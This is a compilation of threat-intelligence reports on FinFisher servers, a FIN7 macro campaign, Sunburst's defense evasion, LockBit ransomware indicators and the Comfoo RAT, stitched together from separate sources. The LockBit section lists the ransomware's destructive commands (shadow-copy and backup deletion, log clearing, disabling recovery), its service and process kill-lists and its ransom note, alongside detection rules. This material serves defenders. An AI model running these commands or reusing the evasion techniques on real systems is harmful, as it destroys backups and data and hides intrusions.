We found a FinFisher server running on IP address 37.139.27.xxx, which is pointed to by two subdomains of to70.org, a domain name associated with an Omani company called “Eagle Eye Digital Solutions LLC” through historical WHOIS. The domain is currently registered to “Omantel,” the largest telecom in Oman. Eagle Eye Digital Solutions LLC was founded by, and is run by, Warith Al-Maawali. Leaked emails describe Warith as part of Oman’s Ministry of Interior, as well as a reseller of FinFisher products. Other sites apparently run by Eagle Eye include a major Omani online forum, “oman0.net.” Eagle Eye founder Warith Al Maawali says the forum is “one of the most active sites with the largest user-base in Oman.” An archived version of Eagle Eye’s website on the Wayback Machine showed Elaman GmbH as one of their partners, and “Security Organizations” as their clients. Elaman is known to be a reseller of FinFisher products.
## Conclusion
In this report we provided the first update on Citizen Lab’s previous FinFisher scanning work since a widely discussed 2014 hack of FinFisher. Despite the disclosure of sensitive customer data in that hack, and the potential customer concerns this might cause, our latest scans have detected FinFisher servers in more countries than any previous round of scanning.
FinFisher is still being used by a number of previously identified government clients, including Ethiopia, which is the defendant in an ongoing lawsuit over previous FinFisher use. We have also identified newly identified suspected customers, including: Angola, Egypt, Gabon, Jordan, Kazakhstan, Kenya, Lebanon, Morocco, Oman, Paraguay, Saudi Arabia, Slovenia, Spain, Taiwan, Turkey, and Venezuela.
While we may not be detecting all FinFisher installations, this report’s methods improved on both our ability to detect installations, and to attribute FinFisher servers to specific governmental customers, whom we named. A key goal of this research is to provide a resource to those working on policy and research in this space. We also believe this kind of reporting is essential to help ensure that citizens have the opportunity to hold their governments accountable. To this end, we identify government users, but redact certain details about live infrastructure (like removing the last octet of IP addresses), whose disclosure might interfere with legitimately sanctioned activities. |
# FIN7 Not Finished – Morphisec Spots New Campaign
This blog was co-authored by Alon Groisman.
It seems like the rumors of FIN7’s decline have been hasty. Just a few months after the well-publicized indictment of three high-ranking members in August, Morphisec has identified a new FIN7 campaign that appears to be targeting the restaurant industry.
FIN7, also known as Carbanak, is one of the major threat groups tracked by Morphisec and numerous other security entities, and among the top three criminal computer intrusion cases that the FBI is currently working. FIN7 is composed of a very sophisticated network of developers and hackers and brings in an estimated $50 million a month. They target very specific industries, hospitality – hotels and restaurants – being one of them, and are behind a string of high-profile breaches including Red Robin, Chili’s, Arby’s, Burgerville, Omni Hotels and Saks Fifth Avenue, among many others.
FIN7 is known for its stealth techniques and ability to continuously evade security systems. In the case of Burgerville, malware sat on the company’s network collecting payment data for nearly a year before it was discovered. And that was only due to an FBI investigation.
In this blog post, we present our findings on two campaigns, which occurred in the first and second weeks of November. These campaigns follow patterns similar to those presented by FireEye in August but with just enough variations to bypass many security vendors.
## Technical Description
The initial document was probably sent within the Baltic region (or tested there). It was submitted to VirusTotal from Latvia. The name of the document translated from Russian is “new questioner”. It is password-protected with the password: “goodmorning”.
It uses social engineering to convince the recipient to enable macros through the use of the images, logo and tagline of a newly launched, legitimate VPN tool InvinciBull by cybersecurity company Finjan. If the “enable macro” button is activated, the following obfuscated Macro runs and the next stage obfuscated JavaScript is extracted from the form caption, similar to the last several FIN7 campaigns.
Examining the metadata of the document, it clearly shows that the document was created on the 11.02.2018. Following deobfuscation of the macro, we notice known FIN7 patterns of executing JavaScript from VBScript with the slight modification of copying the wscript.exe file and renaming it to mses.exe. This may allow it to bypass some EDR solutions that are tracing WScript by name.
Below is the obfuscated JavaScript that is written to the temp directory as error.txt file. The obfuscation pattern is similar to previously seen FIN7 patterns and most probably is a derivation of the same obfuscation toolkit.
The deobfuscated JavaScript is actually a backdoor component that directly communicates to the C2 server (in this case hxxps://bing-cdn[.]com). It executes the response which is yet another JavaScript command, which can be evaluated by eval. Although there have been slight modifications in the Macro delivery in the last couple of campaigns, the JavaScript backdoor stays the same, including its communication protocol. During the first request, the MAC address and the computer domain are also delivered to the target C2. We believe that the next stage is only delivered to specific targets based on domains as the data that is delivered in the first request is very limited.
## Yara Rules
Some additional observations that can be used to create Yara-rules for this campaign are the locations of the loaded VBControl files that are written in clear text as part of the document files.
## Additional Samples
After this search, we identified more samples that were created just a couple of days ago and point to a known C2 registered to the same entity (hxxps://googleapi-cdn[.]com). Below is a summary of information for one of those documents: The document was submitted from Ukraine (yet another former Soviet Union country) with the name “dinners.doc”.
The document again uses the social engineering technique of spoofing a known and trusted entity to convince the victim to enable macros. Based on the submission date and creation time, the document is sent to the target within 2-3 days. The macro is nearly identical to that described above except that wscript->script, errors->settings, has multiple captions instead of a single one.
The JavaScript backdoor is decrypted into a similar backdoor.
## Conclusion
Like the Hydra, cutting off one, or even three, heads of FIN7 barely slows it down. With the holiday rush nearly upon us, we expect the threat group to step up its activities to take advantage of increased email traffic flow and seasonal staff that may be less security conscious. Workers in any industry should stay vigilant against social engineering methods – although with today’s highly targeted campaigns this can sometimes be tough to spot. And never enable macros unless you are 100 percent certain that the file is safe. |
# How SunBurst Malware Does Defense Evasion
In an effort attributed to actors working for or on behalf of a national government, an unknown adversary compromised the software supply chain of the enterprise IT management firm SolarWinds to distribute malicious code. The success of that attack, dubbed Sunburst, gave the actors wide-ranging access to corporate and governmental information systems, resulting in significant data theft and concerns that the attackers have used the foothold to insert other backdoors into enterprise networks.
Because of the magnitude of the impact of Sunburst, there have already been many reports covering the attack details. We chose to focus on a specific part of the attack of particular interest to us: the techniques used by the attacker related to sensing and evading defenses. This report provides a walkthrough of the code used by the Sunburst attack intended to help other researchers, defenders, and IT specialists better understand that portion of the attack chain.
Based on our analysis, Sunburst used a compromised software component to use SolarWinds’ Orion to detect and, in some cases, attempt to disable defensive software running on targeted systems. If any of an extensive list of processes was found to be running, the component shut down completely until called again. If none of those processes were found, it checked against a list of services—terminating if some were found and attempting to disable others. A similar automated check was made for drivers associated with security products, also resulting in the program shutting down.
Sunburst also uses a custom DGA algorithm for its initial command and control (C2). The attackers use the DNS response for the DGA lookup to control backdoor activity, including terminating it (essentially a killswitch).
## “Upgraded” Code
SophosLabs analyzed a specific component of the malicious modification of SolarWinds’ software: a dynamic link library named SolarWinds.Orion.Core.BusinessLayer.dll. This DLL was created by modifying the code of a legitimate component of SolarWinds Orion and is activated by code patched into another Orion component, InventoryManager. Code injected into InventoryManager.cs initiates the Sunburst backdoor. This code creates a new thread that runs the Sunburst backdoor code, the entry point being the Initialize() function.
Execution only proceeds if the DLL is running within a process named solarwinds.businesslayerhost.exe. Further digging by the security community has identified other versions of the DLL that have been injected with just short skeleton code, not the complete backdoor. This is probably indicative of the attackers performing some kind of testing prior to delivering the full attack.
Looking through the Sunburst code, two subtle tricks are immediately obvious:
1. **String obfuscation**: Interesting strings (Registry keys, filenames, etc.) are mildly obfuscated using a combination of compression and Base64. This is presumably to make it less likely the modified source code would be spotted.
2. **Hashing process filenames**: Certain process filenames are not directly referenced in the code. Instead, hashes of process names are used, making analysis more cumbersome.
In order to evade targets’ defenses, the Sunburst DLL checks for a hard-coded list of processes, services, and drivers. The names of the processes and services Sunburst looks for are checked against pre-calculated hashes of their names, making it much more difficult to analyze the code’s intent.
## Flipping the Switch
Sunburst checks against the environment it is running in via the ProcessTracker.TrackProcesses() function. This function is called from three places, two of them in the main flow of the backdoor’s execution: UpdateNotification(), called prior to entering the main execution loop, and Update(), within the main execution loop.
The UpdateNotification() function also resolves the api.solarwinds.com hostname. If an internal IP address is returned, execution is terminated. This illustrates the care taken by the attackers to avoid the backdoor running within networks belonging to SolarWinds. There is an additional call to TrackProcesses() within the main loop of Update(), which breaks out of the main loop if a hit is found. If a process is detected by the malware, Sunburst execution stops until the next time the malicious DLL is loaded.
## Three Steps of Evasion
The TrackProcesses() function consists of three steps: checking processes (SearchAssemblies()), checking services (SearchServices()), and checking drivers (SearchConfigurations()). The function first calls SearchAssemblies(), passing a simple, flat list containing hardcoded hashes of 137 process names. These processes include executables tied to security products (including Tanium and AVG antivirus software), as well as packet capture, forensic, and malware analysis tools, including:
- Wireshark
- VirtualBox
- RetDec decompiler
- Process Hacker
- Registry Monitor
- PE Explorer
If SearchAssemblies() does not find a process name match, the TrackProcesses() function calls SearchServices(). SearchServices() compares running services against a short list of hardcoded services, again using pre-calculated hashes for the corresponding process filenames and Registry service subkeys.
The Sunburst code attempts to disable certain services in the list, modifying the “Start” value in the service Registry configuration. If any service is disabled in this process, ConfigManager.WriteServiceStatus() is called, which writes packed data into an application settings file (SolarWinds.Orion.Core.BusinessLayer.dll.config), storing the matched service entry.
If no services are detected or disabled, and SearchAssemblies() found no processes from the blacklist, SearchConfigurations() is called, which checks installed drivers against 17 pre-calculated hashes. The function retrieves driver filenames using WMI “Select * From Win32_SystemDriver,” grabbing lowercased filename for each driver and generates a hash for checking against the list. If any of the targeted drivers are selected, the backdoor terminates.
## Remote Kill
Assuming all the process, service, and driver checks pass, Sunburst will proceed to the main execution loop. It uses a DGA to generate a hostname (sub-domain of avsvmcloud[.]com, in which the victim hostname is encoded). The IP returned in the DNS response for the generated hostname is then checked against a list – this is used to control backdoor execution flow. Addresses within the private subnet ranges will terminate backdoor execution. In this case, the status is set to “Truncate” (3), and this is written to the application settings file, specifically the ReportWatcherRetry field.
Saving the status here ensures the backdoor will not execute in the future. This value is checked within the Initialize() function.
## Conclusions
The selectivity of the execution of Sunburst, and the method it takes to disable defenses in the least aggressive manner possible, are indicative of a cautious actor seeking to trip as few alarms as possible in their intrusion. Defenders need to be on guard for future efforts to evade targeted defenses in this manner, through close monitoring of accounts, unusual activity, and human threat hunting, as well as working with vendors to find more robust ways to ensure the security of the supply chain of their critical software. But they should not do this at the expense of watching for more ‘normal’ attacks, including the ongoing ransomware campaigns that show no sign of slowing down. |
# LockBit Ransomware
## Ransom Gates
- lockbitkodidilol.onion
- lockbitks2tvnmwk.onion
## Ransom Note
- Restore-My-Files.txt
## Ransom Extension
- .lockbit
## E-mail
- ondrugs@firemail.cc
## Persistence
- HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XO1XADpO01
## Mutex
- Global{BEF590BE-11A6-442A-A85B-656C1081E04C}
## Executed Commands
- bcdedit /set {default} recoveryenabled No
- bcdedit /set {default} bootstatuspolicy ignoreallfailures
- vssadmin delete shadows /all /quiet
- wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
- wbadmin DELETE SYSTEMSTATEBACKUP
- wbadmin delete catalog -quiet
- wevtutil cl system
- wevtutil cl security
- wevtutil cl application
- wmic SHADOWCOPY /nointeractive
- wmic shadowcopy delete
- ping 1.1.1.1 -n 22 > Nul & "%s"
- ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288
- "%s" & Del /f /q "%s"
## Registry Keys
- SOFTWARE\LockBit
- SOFTWARE\LockBit\full
- SOFTWARE\LockBit\Public
## Folders Skip-List
- $windows.~bt
- intel
- msocache
- $recycle.bin
- $windows.~ws
- tor browser
- boot
- system volume information
- perflogs
- google
- application data
- windows
- windows.old
- appdata
- Windows nt
- Msbuild
- Microsoft
- All users
- Mozilla
## Files Skip-List
- ntldr
- ntuser.dat.log
- bootsect.bak
- autorun.inf
## Service Stop-List
- wrapper
- DefWatch
- ccEvtMgr
- ccSetMgr
- SavRoam
- Sqlservr
- sqlagent
- sqladhlp
- Culserver
- RTVscan
- sqlbrowser
- SQLADHLP
- QBIDPService
- Intuit.QuickBooks.FCS
- QBCFMonitorService
- sqlwriter
- msmdsrv
- tomcat6
- zhudongfangyu
- vmware-usbarbitator64
- vmware-converter
- dbsrv12
- dbeng8
- MSSQL$MICROSOFT##WID
- MSSQL$VEEAMSQL2012
- SQLAgent$VEEAMSQL2012
- SQLBrowser
- SQLWriter
- FishbowlMySQL
- MSSQL$MICROSOFT##WID
- MySQL57
- MSSQL$KAV_CS_ADMIN_KIT
- MSSQLServerADHelper100
- SQLAgent$KAV_CS_ADMIN_KIT
- msftesql-Exchange
- MSSQL$MICROSOFT##SSEE
- MSSQL$SBSMONITORING
- MSSQL$SHAREPOINT
- MSSQLFDLauncher$SBSMONITORING
- MSSQLFDLauncher$SHAREPOINT
- SQLAgent$SBSMONITORING
- SQLAgent$SHAREPOINT
- QBFCService
- QBVSS
- YooBackup
- YooIT
- svc$
- MSSQL
- MSSQL$
- memtas
- mepocs
- sophos
- veeam
- backup
- bedbg
- PDVFSService
- BackupExecVSSProvider
- BackupExecAgentAccelerator
- BackupExecAgentBrowser
- BackupExecDiveciMediaService
- BackupExecJobEngine
- BackupExecManagementService
- BackupExecRPCService
- MVArmor
- MVarmor64
- stc_raw_agent
- VSNAPVSS
- VeeamTransportSvc
- VeeamDeploymentService
- VeeamNFSSvc
- AcronisAgent
- ARSM
- AcrSch2Svc
- CASAD2DWebSvc
- CAARCUpdateSvc
- WSBExchange
- MSExchange
- MSExchange$
- LanmanWorkstation
- WebClient
## Process Kill-List
- wxServer
- wxServerView
- sqlmangr
- RAgui
- supervise
- Culture
- Defwatch
- winword
- QBW32
- QBDBMgr
- qbupdate
- axlbridge
- httpd
- fdlauncher
- MsDtSrvr
- java
- 360se
- 360doctor
- wdswfsafe
- fdhost
- GDscan
- ZhuDongFangYu
- QBDBMgrN
- mysqld
- AutodeskDesktopApp
- acwebbrowser
- Creative Cloud
- Adobe Desktop Service
- CoreSync
- Adobe CEF Helper
- node
- AdobeIPCBroker
- sync-taskbar
- sync-worker
- InputPersonalization
- AdobeCollabSync
- BrCtrlCntr
- BrCcUxSys
- SimplyConnectionManager
- Simply.SystemTrayIcon
- fbguard
- fbserver
- ONENOTEM
- wsa_service
- koaly-exp-engine-service
- TeamViewer_Service
- TeamViewer
- tv_w32
- tv_x64
- TitanV
- Ssms
- notepad
- RdrCEF
- oracle
- ocssd
- dbsnmp
- synctime
- agntsvc
- isqlplussvc
- xfssvccon
- mydesktopservice
- ocautoupds
- encsvc
- firefox
- tbirdconfig
- mydesktopqos
- ocomm
- dbeng50
- sqbcoreservice
- excel
- infopath
- msaccess
- mspub
- onenote
- outlook
- powerpnt
- steam
- thebat
- thunderbird
- visio
- wordpad
- bedbh
- vxmon
- benetns
- bengien
- pvlsvr
- beserver
- raw_agent_svc
- vsnapvss
- CagService
- DellSystemDetect
- EnterpriseClient
- VeeamDeploymentSvc
## Extension List
- .msstyles
- .sqlitedb
- .sqlite3
- .diagcab
- .diagcfg
- .diagpkg
- .sqlite
- .db-shm
- .db-wal
- .dacpac
- .theme
- .icns
- .lock
- .tmd
- .ckp
- .dbc
- .sql
- .mwb
- .rar
- .dbv
- .frm
- .mdf
- .dbt
- .qry
- .ndf
- .sdb
- .myd
- .mrg
- .db3
- .dbs
- .dbf
- .sdf
- .zip
- .rdp
- .bin
- .hlp
- .shs
- .drv
- .wpx
- .bat
- .rom
- .msc
- .spl
- .ps1
- .msu
- .ics
- .key
- .exe
- .dll
- .lnk
- .ico
- .hlp
- .sys
- .drv
- .cur
## Ransom Note
All your important files are encrypted! Any attempts to restore your files with third-party software will be fatal for your files! RESTORE YOUR DATA POSSIBLE ONLY BY BUYING private key from us. There is only one way to get your files back:
1. Download Tor browser and install it.
2. Open link in TOR browser.
3. Follow the instructions on this page.
### Attention!
- Do not rename encrypted files.
- Do not try to decrypt using third-party software, it may cause permanent data loss.
- Decryption of your files with the help of third parties may cause increased price (they add their fee to ours).
- Tor Browser may be blocked in your country or corporate network. Use bridges.torproject.org.
- Tor Browser user manual available.
!!! We also download a huge amount of your private data, including finance information, clients' personal info, network diagrams, passwords, and so on. Don't forget about GDPR.
## SHA256
- 0a937d4fe8aa6cb947b95841c490d73e452a3cafcd92645afc353006786aba76
- 0e66029132a885143b87b1e49e32663a52737bbff4ab96186e9e5e829aa2915f
- 0f178bc093b6b9d25924a85d9a7dde64592215599733e83e3bbc6df219564335
- 0f5d71496ab540c3395cfc024778a7ac5c6b5418f165cc753ea2b2befbd42d51
- 13849c0c923bfed5ab37224d59e2d12e3e72f97dc7f539136ae09484cbe8e5e0
- 15a7d528587ffc860f038bb5be5e90b79060fbba5948766d9f8aa46381ccde8a
- 1b109db549dd0bf64cadafec575b5895690760c7180a4edbf0c5296766162f18
- 1e3bf358c76f4030ffc4437d5fcd80c54bd91b361abb43a4fa6340e62d986770
- 256e2bf5f3c819e0add95147b606dc314bbcbac32a801a59584f43a4575e25dc
- 26b6a9fecfc9d4b4b2c2ff02885b257721687e6b820f72cf2e66c1cae2675739
- 2b8117925b4b5b39192aaaea130426bda39ebb5f363102641003f2c2cb33b785
- 3f29a368c48b0a851db473a70498e168d59c75b7106002ac533711ca5cfabf89
- 410c884d883ebe2172507b5eadd10bc8a2ae2564ba0d33b1e84e5f3c22bd3677
- 4acc0b5ed29adf00916dea7652bcab8012d83d924438a410bee32afbcdb995cc
- 5b9bae348788cd2a1ce0ba798f9ae9264c662097011adbd44ecfab63a8c4ae28
- 6292c2294ad1e84cd0925c31ee6deb7afd300f935004a9e8a7a43bf80034abae
- 69d9dd7fdd88f33e2343fb391ba063a65fe5ffbe649da1c5083ec4a67c525997
- 83ab7a2bcac146db472f3b930c01af5b6d3d978ead7b14a9d0ac16e1a76e9f9d
- 9bc98d15f243257c1b5bca59464abe68c680cd5482ba9f5082201dde41a016cf
- a03326ac8efa930e10091a374d40ddab9f7c2f12246d6ef7983bad93256f1f3a
- a0085da4a920e92d8f59fefa6f25551655ca911382b5e34df76a9333ac8b7214
- a08fbf01d02097094b725101309b2bf7fefc2e27724654b840b87e091aa5c9b9
- a1360645cf3113715cc023d2e4cf9f6f3a6278abcf4499f0ba7cd76c82839eb0
- c8205792fbc0a5efc6b8f0f2257514990bfaa987768c4839d413dd10721e8871
- ce8559871b410e23057393eb2d9fb76ec902da2ff1f8006ad312c81852a41f6f
- e3f236e4aeb73f8f8f0caebe46f53abbb2f71fa4b266a34ab50e01933709e877
- ec88f821d22e5553afb94b4834f91ecdedeb27d9ebfd882a7d8f33b5f12ac38d
- ffbb6c4d8d704a530bdd557890f367ad904c09c03f53fda5615a7208a0ea3e4d
## Decryptors
- 09e956d140d6879cf7eacbb65dcbfbe1dea1961a31c5d0f834343ef2c886ccc1
- 9bc98d15f243257c1b5bca59464abe68c680cd5482ba9f5082201dde41a016cf
## VT Perks
- vhash: "015036656d5223z12z3e05031f1z37z406001a5zb7z"
- imphash: "be232aa2621354bf5dd7b405cc99198c"
## YARA Rules
### Rule lockbit_clsids
```yara
rule lockbit_clsids {
strings:
$id1 = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" ascii wide
$id2 = "{D2E7041B-2927-42fb-8E9F-7CE93B6DC937}" ascii wide
$id3 = "{02B49784-1CA2-436C-BC08-72FA3956507D}" ascii wide
$id4 = "{BEF590BE-11A6-442A-A85B-656C1081E04C}" ascii wide
condition:
3 of them
}
```
### Rule lockbit_mutex
```yara
rule lockbit_mutex {
strings:
$mutex = "XO1XADpO01" ascii wide
condition:
all of them
}
```
### Rule lockbit_uac
```yara
rule lockbit_uac {
strings:
$uac0 = "Elevation:Administrator!new:" ascii wide
$uac1 = "DisplayCalibrator" ascii wide
$uac2 = "Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration" ascii wide
condition:
all of them
}
```
### Rule lockbit_cmd
```yara
rule lockbit_cmd {
strings:
$cmd0 = "vssadmin Delete Shadows /All /Quiet" ascii wide
$cmd1 = "bcdedit /set {default} recoveryenabled No" ascii wide
$cmd2 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures" ascii wide
$cmd3 = "wbadmin DELETE SYSTEMSTATEBACKUP" ascii wide
$cmd4 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" ascii wide
$cmd5 = "wmic SHADOWCOPY /nointeractive" ascii wide
$cmd6 = "wevtutil cl security" ascii wide
$cmd7 = "wevtutil cl system" ascii wide
$cmd8 = "wevtutil cl application" ascii wide
condition:
6 of them
}
```
### Rule lockbit_priv_masq
```yara
rule lockbit_priv_masq {
strings:
$masq = { ff 15 [1-4] 85 ?? 0f [1-5] 68 04 01 00 00 8d [1-5] 50 ff 15 [1-4] 8b [1-5] 8d [1-5] 0f ?? ?? 8d ?? ?? 66 ?? ?? 8d ?? ?? 66 ?? ?? 75 ?? 0f ?? ?? [1-4] be 3f [1-3] 66 ?? ?? c7 45 ?? [1-4] 66 ?? ?? ?? }
$priv = { ff 15 [1-4] 85 ?? 74 ?? 8d ?? ?? 50 8d ?? ?? 50 6a 00 ff 15 [1-4] 85 ?? 74 ?? 39 ?? ?? 75 ?? 8d ?? ?? 50 6a 04 8d ?? ?? 50 6a 13 ff 75 ?? ff 15 [1-4] 85 ?? 7? ?? ?? ?? [1-4] 3d [1-4] 74 ?? 3d [1-4] 74 ?? 85 ?? 7f ?? 8b ?? eb ?? 0f ?? ?? 81 [1-5] eb ?? 8d ?? ?? 50 8d ?? ?? 50 ff 75 ?? ff 15 }
condition:
$masq or $priv
}
``` |
# Secrets of the Comfoo Masters
**Author:** Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit™
**Threat Intelligence**
**Date:** 31 July 2013
## Introduction
The details of organized cyber-espionage campaigns are becoming more public. So-called "Advanced Persistent Threat" (APT) attacks are common news as individuals and corporations discover the data on their hard drives is part of a country or competitor's "shopping list." The actors behind these attacks are generally well-equipped in terms of training, finances, and access to resources. The missions of APT threat actors are usually of strategic importance, and the actors exercise virtually unlimited patience in penetrating and persisting inside their specific target's network until they accomplish their goals.
One of the universal aspects of APT attacks is the use of malicious software tools that grant unauthorized backdoor access to computer systems inside the targeted network. Because maintaining a beachhead inside the network is often critical to mission success, threat actors must adapt to various network configurations and changes in defenses by choosing and deploying backdoors with specific functionality and features. It is difficult to be persistent without at least one backdoor. Threat actors often possess and use an arsenal of remote access trojans (RATs) to siphon data from their targets. Persistence requires malware, and the top cyber-espionage actors have hundreds of RATs at their disposal at any given time. Understanding the choice and usage of tools can be the keys to identifying and tracking APTs.
Dell SecureWorks researchers have identified and classified more than 200 distinct malware families used by various APT groups. Some malware is specially configured off-the-shelf software, and some malware is customized source code of an existing RAT. However, most malware families are proprietary, developed by the APT groups as weapons to be deployed against a variety of targets. Accurate identification and classification of this malware by antivirus (AV) companies is sparse. Shared code, the use of common tools, co-infections, and a history of generic or incorrect classification by multiple names make the automated tracking of these tools by AV companies difficult. This inaccuracy can be detrimental when designing defenses based on specific threat indicators. Tracking APTs requires a dedicated malware intelligence effort. One way applied malware intelligence is used to discover new APT trojans is a recursive investigative method: Malware -> Infrastructure Touchpoints -> New Malware -> and so on.
Cyber-espionage actors often cycle through different RATs over a period of years. The Dell SecureWorks Counter Threat Unit™ (CTU) research team has tracked a RAT known as "Comfoo" that has been in continuous development since at least 2006. This RAT has maintained a fairly low profile, even though it was used as part of the RSA breach in 2010, when its code was first analyzed. Antivirus firm Trend Micro briefly mentioned its use in a 2012 paper titled "Luckycat Redux — Inside an APT Campaign with Multiple Targets in India and Japan." However, the disclosure of this trojan and some of its command and control (C2) infrastructure did not discourage its continued use by the threat actors responsible for it.
## Comfoo characteristics
To maintain persistence on the system, Comfoo usually replaces the path to the DLL of an existing unused service rather than installing a new service. A new service is more likely to be noticed by system audits. Sometimes Comfoo is delivered with a rootkit that hides Comfoo's files on disk. Additionally, Comfoo starts the existing "ipnat" system service. This action causes remote inbound connections to the infected system to fail, blocking remote maintenance by the network administrator.
## Network behavior
Comfoo's network traffic is encrypted and encapsulated in HTTP requests and responses, although some variants skip the encapsulation step. Payloads are encrypted by a 10-byte static XOR key that is hard-coded inside the Comfoo binary. Initial login data from the infected system (MAC address, internal IP address, campaign tag, and version data) is passed in the request URI and is additionally encrypted by a dynamic key.
## Capabilities
The Comfoo RAT has the following features:
- System/network information gathering
- Keystroke logging
- Screenshots
- File upload/download/execute
- Command shell
## Comfoo trojan C2 software discovery
By studying the network traffic of infected systems, CTU researchers determined that the server side of the Comfoo malware sends an HTTP server header identifying the server version as "Apache 2.0.50 (Unix)." However, the rest of the HTTP headers do not match the order or the formatting used by this version of Apache. This anomaly suggests that the C2 software was a standalone application instead of a series of scripts running under Apache. Searching for the specific server version string in the CTU malware repository produced a sample of the Comfoo server software, identified by the MD5 hash 2b29f0224b632fdd00d0a30527b795b7.
## Analysis
The Comfoo C2 server turns out to be a rendezvous-type traffic relay program. This small binary can be deployed on rented or hacked Windows systems, where it passes traffic between Comfoo victims and the Comfoo master console operated by the threat actors. Unlike "dumb" traffic relay servers such as HTran, the Comfoo relay server does not know the location of the master console. Instead, the master console program connects to the relay server on-demand, and any incoming victim data is passed to the master console connection. HTran is sometimes used to add an additional layer of untraceability to the victim connection. Likewise, the administrator can add other layers of proxies or VPN connections to the console connection side of the communication.
The Comfoo relay server listens on up to three TCP ports at a time. The first port acts as a control and typically listens on port 1688. It performs the following tasks:
- Enables/disables the other ports
- Accepts new relay port configuration (stored in rlycfg.dll)
- Notifies master console that a new victim connection is available
The second port is the admin relay port, which typically listens on port 1689. It accepts connections from the master console to send commands to and receive data from victims' systems. The third port is the victim relay port, which listens on a configurable port number, usually port 80 or port 443. This port accepts connections from victims' systems to send data to and receive commands from the Comfoo administrator encapsulated in HTTP requests and responses. If there is no current connection between the victim and the Comfoo administrator, Comfoo logs the victim's connection and sends an idle response to the victim.
## DNS resolution tactics
In addition to using rendezvous protocols and HTran forwarding servers, Comfoo operators create and maintain another layer of obfuscation to thwart analysis of their infrastructure. Like many other APT malware families, Comfoo reaches out to its masters based on DNS lookups of certain hostnames. The Comfoo operators commonly use dynamic DNS providers to micromanage the IP addresses to which Comfoo hostnames resolve. While Comfoo sleeps, its operators often set those IP addresses to common or bogus entries. When not being used to actively control Comfoo, the C2 domain name might resolve to the address of a popular search engine or a local loopback (127.0.0.1), private (10.1.1.1), or other special use (0.0.0.0) IP address. Domain names used in Comfoo operations only point to actual control infrastructure during very short time windows. Only during these time windows do alerts from a DNS monitoring tool inform researchers when it might be possible to locate an actual Comfoo server.
## Taking control
The unauthenticated nature of the Comfoo relay server's administrative connections makes it possible to take control of the C2 server and all victims' systems, armed only with knowledge of the protocol, the encryption method, and the static encryption key hard-coded into every Comfoo binary. Researchers can passively monitor victims' logins to the relay servers (sending no commands) by connecting to the correct port on the correct IP address at the right time. This technique is analogous to viewing webserver log data stored in a publicly accessible directory on a C2 server.
## Passive monitoring results
While monitoring Comfoo, CTU researchers detected more than 200 variants of the trojan and 64 different campaign tags used by the threat actors to organize their campaigns. Numerous government entities and private companies based in the United States, Europe, and Asia Pacific had Comfoo-infected computers phoning home to the Comfoo C2 infrastructure. Much of the traffic emanated from multiple Japanese and Indian government ministries. CTU researchers outlined the Japanese attack campaign in a previous analysis entitled Chasing APT. The following industries were also targeted:
- Education
- Energy
- Mineral exploration
- News media
- Semiconductors
- Steel manufacturing
- Think tanks
- Telecommunications
- Trade organizations
- Audio and videoconferencing products
The targeting of audio and videoconferencing products is unusual. CTU researchers speculate that the threat actors might be looking for intellectual property relating to audio and videoconferencing. Another possibility is that it could be a clever and stealthy way of listening and watching activities of both commercial and government organizations.
## Detecting Comfoo in the enterprise
The presence of Comfoo on a network or computer can be detected in a variety of ways, even if AV engines lack detection for the latest variants. Analysts can search for known Comfoo threat indicators in network traffic, on hard drives, in memory, or in the Windows registry.
### Network detection
A typical Comfoo HTTP phone-home request looks like the following:
```
GET /CWoNaJLBo/VTNeWw11212/12664/12VTNfNmM1aQ/UTWOqVQ132/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: en-en
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: smtp.dynamiclink.ddns.us
Connection: Keep-Alive
Cache-Control: no-cache
```
An active C2 server responds with headers similar to the following:
```
HTTP/1.1 200 OK
Date: Mon, 29 Jul 2013 19:26:15 GMT
Server: Apache/2.0.50 (Unix)
Content-Length: 10
Keep-Alive: timeout=15, max=90
```
### Disk/memory/registry detection
The unique string `T1Y943jIhk` can be found in the Comfoo binary. Offline forensic analysis may be required to search for this string if a rootkit is in play.
These additional strings can be searched but are not guaranteed to be unique to Comfoo:
- `CPUSpeed:%d.%dGHz`
- `CPUNameString:%s`
- `CPUVendorIdentifier:%s`
- `CPUIdentifier:%s`
- `No %d CPU Information:`
- `SystemCurrent Time:`
- `systemBoot Time:`
- `IE BHO Name:%s`
- `11. IE BHO Information!`
- `10. IE Version Information!`
- `9. InstallApp Information!`
- `8. NETBIOS Information!`
- `7. Protocol Information!`
- `6. NET Information!`
- `5. Disk Information!`
- `4. Account Information!`
- `3. System Time!`
- `2. CPU Type!`
- `Can not get this information, error code is %d.`
- `Windows Version Information!`
Additionally, Comfoo uses the SetEvent Windows API and registers an event that frequently contains the word "GAME." The following are example Comfoo event names:
- `exclusiveinstance12`
- `THIS324NEWGAME`
- `MYGAMEHAVESTART`
- `MYGAMEHAVESTARTEd`
- `MYGAMEHAVESTARTED`
- `thisisanewfirstrun`
- `THISISASUPERNEWGAMENOWBEGIN`
- `thisisnewtrofor024`
To persist without adding new registry entries, Comfoo edits an unused system service configuration, replacing the DLL path and setting it to auto-start on boot. For example, a system service registry key entry changed by Comfoo might resemble the following:
```
system\CurrentControlSet\Services\Netman\Parameters
Original: "ServiceDll" => "%SystemRoot%\System32\netman.dll"
Modified: "ServiceDll" => "C:\WINDOWS\system32\tabcteng.dll"
system\CurrentControlSet\Services\Netman
Original: "Start" => "3"
Modified: "Start" => "2"
```
Comfoo hijacks service settings for some legitimate service DLLs:
- `netman.dll`
- `rasauto.dll`
- `sens.dll`
The following are DLL names commonly used by Comfoo:
- `cmmos.dll`
- `jacpet.dll`
- `javadb.dll`
- `mszlobm.dll`
- `netfram.dll`
- `netman.dll`
- `ntdapie.dll`
- `ntdelu.dll`
- `ntobm.dll`
- `odbm.dll`
- `senss.dll`
- `suddec.dll`
- `tabcteng.dll`
- `vmmreg32.dll`
- `wininete.dll`
If Comfoo successfully connects to the relay server and receives commands from the master console, then it creates a file named `mstemp.temp` on the infected system to store the output of the last shell command.
## Conclusion
